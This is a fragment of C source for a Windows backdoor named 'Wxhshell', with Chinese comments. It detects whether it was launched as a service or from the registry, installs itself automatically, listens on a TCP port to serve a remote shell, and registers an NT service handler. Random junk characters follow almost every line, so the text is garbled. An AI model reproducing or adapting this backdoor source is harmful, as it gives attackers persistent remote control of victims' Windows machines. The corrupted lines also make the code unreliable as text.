DWORD AffinityMask; RD`|Z~:q:K
DWORD BasePriority; )vtbA=RH?
ULONG UniqueProcessId; i~!g9o(
ULONG InheritedFromUniqueProcessId; yFE0a"0y
} PROCESS_BASIC_INFORMATION; N8sT?
[L%Ltmx
PROCNTQSIP NtQueryInformationProcess; xQ9t1b|{e
q!z?Tn#!jd
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s< tG
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uKx:7"KD
0|GYt nd
HANDLE hProcess; _/>ktYo:
PROCESS_BASIC_INFORMATION pbi; "aGmv9\
rZUTBLZ`j
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); & 9e
if(NULL == hInst ) return 0; v`h>5#_[
d?oXz| ;H(
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (B#FLoK
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m(f`=+lqI`
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _S_,rTf&
gwaSgV$z
if (!NtQueryInformationProcess) return 0; 4MC]s~n
6~dAK3v5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O"\4[HE^
if(!hProcess) return 0; ?q!4 REM
\`k=9{R.
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qnP4wRpr
tQ}GTqk
CloseHandle(hProcess); 5<Kt"5Z%7
B)q }]Qn
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a^_K@
if(hProcess==NULL) return 0; iwnGWGcuS
I
Fw7?G,
HMODULE hMod; C|y^{4|R
char procName[255]; 7w73,r/D8A
unsigned long cbNeeded; 'iMzp]V;
'6D"QDZB
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c&;" Y{
dv.
77q
CloseHandle(hProcess); TOiLv.Dor
{aE[h[=r
if(strstr(procName,"services")) return 1; // 以服务启动 u6C_*i{2
fw %p_Cm
return 0; // 注册表启动 C:1(<1K
} a`Bp^(f}
@3n!5XM{EE
// 主模块 nOC\ =<Nsg
int StartWxhshell(LPSTR lpCmdLine) V lZ+x)E
{ B7Ket8<J
SOCKET wsl; 5bb#{?2i
BOOL val=TRUE; oyVT
int port=0; jTwSyW
struct sockaddr_in door; <MEm+8e/s6
P$'PB*5d|
if(wscfg.ws_autoins) Install(); TTG=7x:3
Bo:epus}\
port=atoi(lpCmdLine); -w+.'
J>X@g;
if(port<=0) port=wscfg.ws_port; 0LW3VfvToN
t__f=QB/
WSADATA data; 8jCho
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9DBX.|
ij:xr% FJ
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 'e:4
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]MCH]/
door.sin_family = AF_INET; U<Oc&S{]*
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Vg62HZ |
door.sin_port = htons(port); J_F\cM
E+y_te^+b
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p;4FZ$
closesocket(wsl); |X{j^JP5
return 1; C.4(8~Y=~
} 6$#,$a O
|kmP#`P~
if(listen(wsl,2) == INVALID_SOCKET) { Jk{SlH3'
closesocket(wsl); Gd!_9S`68
return 1; km>ZhsqD
} /Ey%aA4v
Wxhshell(wsl); QXj #Brp
WSACleanup(); ~{DJ,(N"n
{"jtR<{)
return 0; @o[ZJ4>*
m
70r'b]
} Q'U!
gZHgL7@
// 以NT服务方式启动 YUSrZ9Yg
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z7wl~Hk
{ rFcz0
DWORD status = 0; ~xzr8 P
DWORD specificError = 0xfffffff; b!t[PShw^
#2|biTJ
serviceStatus.dwServiceType = SERVICE_WIN32; P}'B~~9W
serviceStatus.dwCurrentState = SERVICE_START_PENDING; uznqq}
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \<I&utn
serviceStatus.dwWin32ExitCode = 0; :V$\y up
serviceStatus.dwServiceSpecificExitCode = 0; GX23c
i
serviceStatus.dwCheckPoint = 0; i^WY/ OhL
serviceStatus.dwWaitHint = 0; tIn`L6b
CeU=A9
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9qa/f[G
if (hServiceStatusHandle==0) return; &y0Gdzf